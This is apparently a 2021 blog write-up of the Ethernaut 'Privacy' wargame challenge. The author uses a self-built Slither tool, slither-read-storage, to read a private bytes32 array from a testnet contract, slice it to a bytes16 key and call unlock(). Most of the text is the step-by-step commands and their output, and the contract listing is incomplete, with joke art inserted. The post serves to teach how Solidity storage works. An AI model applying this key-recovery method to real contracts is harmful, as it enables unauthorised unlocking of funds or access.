Slithering Through the Dark Forest

Using a slither tool to unlock a contract with a hidden key.

A Coincidence of Wants

As I worked through the Ethernaut challenges, I started familiarizing myself with Trail of Bits’ static analyzer Slither. An issue on the Github repo gave me the idea to build a tool that reads storage from deployed smart contracts without needing to know the storage slot beforehand. This tool is a WIP.

slither-read-storage makes it quick and easy to find the storage slot and value of a variable. It works by using Slither’s underlying parsing engine to determine the storage layout of a given contract. Then, it’s trivial to retrieve the value by calling web3.getStorageAt([address], [slot]) under the hood.

Incidentally, this turned solving the “Privacy” challenge on the Ethernaut wargame into an opportunity to contribute back to Slither and learn the inner workings of how Solidity handles storage.

Solving the “Privacy” Ethernaut Challenge

In order to win, we need to set locked to false by determing a value _key that will equal data[2].

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;

    A bunch of super advanced solidity algorithms...

      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU

First, we pass the file of the target contract, the target address, the target variable name, and our rinkeby node’s url. This effectively retrieve’s the storage slot of data[0].

$ slither-read-storage Privacy.sol 0xFdaF948A66903a0050ed051508c7C26D137E76C4 data --rpc-url{project-id} 

> type bytes32[3] evaluated to:
> 0x5ff6b6a895e912882837aab9887e5db421a2e29fd3f1603e22a98a6a92ac47ce
> in Privacy at storage slot:
> 3

Since we want data[2] and each element of the byte array fills its own slot, we also pass --key 2, traversing two indices forward in the array.

$ slither-read-storage Privacy.sol 0xFdaF948A66903a0050ed051508c7C26D137E76C4 data --rpc-url{project-id} --key 2

> type bytes32[3] evaluated to:
> 0x1ffbae565d970e3c29ccf51e52978efa673f5e0d64fee8d734d069beb97dac7c
> in Privacy at storage slot:
> 5

We have retrieved data[2] from the byte array which we must coerce from a byte32 value into a byte16 value as unlock’s parameter requires. Since the hexidecimal value has a length of 66, and the “0x” prefix helps the parser recognize hexidecmial, we will select the first 34 characters.

$ "0x1ffbae565d970e3c29ccf51e52978efa673f5e0d64fee8d734d069beb97dac7c".slice(0,34)
> "0x1ffbae565d970e3c29ccf51e52978efa"

Now we invoke the contract’s unlock method.

$ contract.unlock("0x1ffbae565d970e3c29ccf51e52978efa")

To verify we are succesful, we check the value of locked.

$ await contract.locked()
> false

We’ve successfully unlocked the contract by reading the private variable with the help of Slither. In the dark forest of Ethereum, private variables are not, in fact, secret.

Further Resources

To read more about how Ethereum storage works, check out this section of the Solidity language documentation. For an alternative approach, I recommend checking out this write-up (note: the Privacy.sol contract has a different storage layout since it contains constants).

Written on August 25, 2021